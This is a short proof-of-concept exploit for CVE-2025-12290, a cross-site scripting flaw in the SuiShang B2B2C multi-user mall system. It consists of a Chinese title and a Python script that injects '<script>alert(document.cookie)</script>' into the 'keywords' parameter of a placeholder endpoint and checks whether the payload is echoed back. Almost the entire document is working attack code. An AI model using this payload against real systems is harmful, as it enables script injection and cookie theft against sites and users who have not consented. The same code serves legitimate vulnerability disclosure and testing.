CVE-2025-12290 SuiShang多商户商城系统跨站脚本漏洞

import requests # CVE-2025-12290 XSS PoC # Target: SuiShang B2B2C Multi-User Mall System 1.0 # Endpoint: /i/359 target_url = "http://target.com/i/359" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" params = { "keywords": xss_payload } try: response = requests.get(target_url, params=params) if xss_payload in response.text: print("[+] XSS payload stored successfully!") print("[+] Visit the page to trigger the XSS") else: print("[-] XSS may not be reflected") except requests.RequestException as e: print(f"[-] Request failed: {e}")